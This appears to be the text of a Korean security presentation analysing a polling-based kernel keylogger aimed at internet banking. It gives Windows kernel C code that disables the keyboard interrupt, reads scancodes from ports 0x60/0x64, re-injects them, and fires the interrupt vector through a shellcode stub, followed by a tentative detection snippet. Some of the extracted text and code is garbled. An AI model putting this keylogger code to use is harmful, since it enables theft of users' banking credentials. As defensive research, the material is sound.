지현석 (binish@home.cnu.ac.kr) http://binish.or.kr
Index 이슈화된키보드해킹 최근키보드해킹이슈의배경지식 Interrupt VS polling What is polling? Polling pseudo code Polling 을이용한키로거분석 방어기법연구
이슈화된키보드해킹 키보드해킹은연일상한가! 주식, 펀드투자의시기?!
최근키보드해킹이슈의배경지식 Vector interrupt VS polling 인터럽트가발생했을때의원인을판별하는방식 Vector interrupt CPU 가하드웨어적으로변화를검사 처리속도가빠르지만제한된수의인터럽트만가능 polling 프로그래머에의해입력핀혹은값을계속적으로검사 우선순위조정이가능하지만처리속도가느림
최근키보드해킹이슈의배경지식 What is polling? step 1) IR(Interrupt Request) 및 DONE 값을 1 로설정 step 2) CPU 인터럽트처리루틴에의해현재상태보존및 polling 수행 각장치의 DONE 값이 1 인가확인 step 3) 최초의 DONE 값이 1 인장치의인터럽트처리수행 IR 및 DONE 값을 0 으로설정 step 1 step 2 step 3
최근키보드해킹이슈의배경지식 Polling pseudo code i/o 를계속검사 ( 키보드컨트롤러 0x60, 0x64 port) 검사해야할 i/o 가늘어날수록시스템의전체반응속도가저하됨 매번불필요하게모든검사를해야함 코딩이쉽고몇개의 interrupt 를구현할때는좋음 while(1) { if( 종료조건 ) break; if(io1) 처리해야할일 1(); } if(io2) 처리해야할일2();
Polling 을이용한키로거분석 동작과정 Keyboard Interrupt disable 0x64 polling if OBF up, read 0x60 0xD2 scancode Interrupt gate firing 0x60 polling again.. polling! Kernel Mode User Mode Keyboard Hardware 0x64 0x60 Keyboard Controller Keyboard Driver Internet Banking (IExplorer) Keylogging! g OBF field monitoring
Polling 을이용한키로거분석 Keyboard Interrupt disable dsabe Keyboard Controller 의 INT(Input Buffer Full Interrupt) flag 를 off! kccbyte = 0x46; // disable KIE bit while((read_port_uchar((puchar)0x64) & INPUT_BUFFER_FULL)); WRITE_PORT_UCHAR((PUCHAR)0x64, 0x60); // Write KCCB while((read_port_uchar((puchar)0x64) ) & NPUT_BUFFER_FULL)); FULL)) WRITE_PORT_UCHAR((PUCHAR)0x60, kccbyte); Keyboard Controller 에서는, 0x20 command read the internal control byte 0x60 command write new internal control byte (next byte sent to port 0x60 is the new control byte)
Polling 을이용한키로거분석 0x64 064polling while (!KeReadStateEvent(&pdx >kill)) { if(kegetcurrentirql() == PASSIVE_LEVEL) { // Keyboard controller로어떤값을보내기전에안전한상태인지확인해야함 (0~0xA0000번수행) // 0x60 port를통해control byte를읽고obf 일경우0x60 port를통해scancode 값을 data[0] 에반환 if ((data[0] = ReadOutputBuffer(&data[1], &pdx >kill)) == 1) break; if (data[1]!= 1) { if (pevent) KeSetEvent(pEvent, 0, 0); // scancode를 0xD2 command(write keyboard buffer) 를통해generation 수행 if (GenerateScancode(data[0])) DbgPrint("inp :: GenerateScancode() Timeout"); // Gate Firing A Keyboard press event emulator // // // INT instruction // // 0xCD imm8 Interrupt vector number specified by immediate byte. // engine[1] = (unsigned char)inpgetkeyboardinterruptvector(); ((void (*)(void))engine)(); // < Execute _asm INT InpGetKeyboardInterruptVector(); } } } KeDelayExecutionThread(KernelMode, FALSE, &delaytime);
Polling 을이용한키로거분석 if OBF up, read 0x60 060 0x60 port 의 data 가 mouse 일경우 MOBF & OBF up! 0x60 port 의 data 가 keyboard 일경우 OBF up! Thus, OBF 가 up 일때 MOBF 가 down 이면 keyboard data 임을알수있음 for (count = 0; count < 0xA0000 &&!KeReadStateEvent(kill); count++) { dummy = READ_PORT_UCHAR((PUCHAR)0x64); if ((dummy & BUFFER_FULL) == OUTPUT_BUFFER_FULL) { } ret = READ_ PORT_ UCHAR((PUCHAR)0x60); ); // Read break; } // delay 를주는이유는 polling 처리속도가너무빨라서, // CPU( 약 99%) 를모두점유해버리는문제점때문이다. KeDelayExecutionThread(KernelMode, FALSE, &delaytime);
Polling 을이용한키로거분석 0xD2 scancode code Parameter written to input buffer as if received from keyboard. int count = 0xA0000; while( count > 0 && (READ_PORT_UCHAR((PUCHAR)0x64) & INPUT_BUFFER_FULL)); if (!count) return 1; WRITE_PORT_UCHAR((PUCHAR)0x64, 0xD2); // Generate a scancode count = 0xA0000; while( count > 0 && (READ_PORT_UCHAR((PUCHAR)0x64) & INPUT_BUFFER_FULL)); if (!count) return 1; WRITE_PORT_UCHAR((PUCHAR)0x60, scancode); // Put a Value // wait until drain while(!(read_port_uchar((puchar)0x64) & OUTPUT_BUFFER_FULL));
Polling 을이용한키로거분석 Interrupt gate firing polling 이기때문에직접 interrupt gate procedure 를수행해야함 Keyboard 의 Vector 값을알아낸후 int ox93(default WinXP) 수행 static unsigned char engine[] = { 0xCD, 0x00, 0xC3 }; // int xx, ret... engine[1] = (unsigned char)inpgetkeyboardinterruptvector(); p ((void (*)(void))engine)(); // < Execute _asm INT InpGetKeyboardInterruptVector();
방어기법연구 선점형방식을통해먼저 Polling 수행 다른 Polling 이일어나지못하도록막음 Polling Disable 설정 HOWTO? I don t know.. Garbage 이용 실제 Keyboard data 를구분하기어렵게하기위함 역으로실제 Keyboard data 를구분하는방법은? My simple idea 단순히 Keyboard Controller 의 INT flag 를 checking 하는방법 테스트결과 선점형방식 과유사한것같음 그런데웬지뭔가꼬여서 (?) Keylogging 이제대로안되는것같음 :(
방어기법연구 Keyboard controller o control o byte checking if, INT == off? set to ON! kccbyte = 0x47; while((read_port_uchar((puchar)0x64) & INPUT_BUFFER_FULL)); WRITE_PORT_UCHAR((PUCHAR)0x64, 0x20); check = READ_PORT_UCHAR((PUCHAR)0x60); if(!(check & kccbyte) ) { DbgPrint("Oh my god! Keylogging using polling has installed\n"); while((read_port_uchar((puchar)0x64) & INPUT_BUFFER_FULL)); WRITE_PORT_UCHAR((PUCHAR)0x64, 0x60); } while((read_port_uchar((puchar)0x64) & INPUT_BUFFER_FULL)); WRITE_PORT_UCHAR((PUCHAR)0x60, kccbyte);
Thanks Question & Answer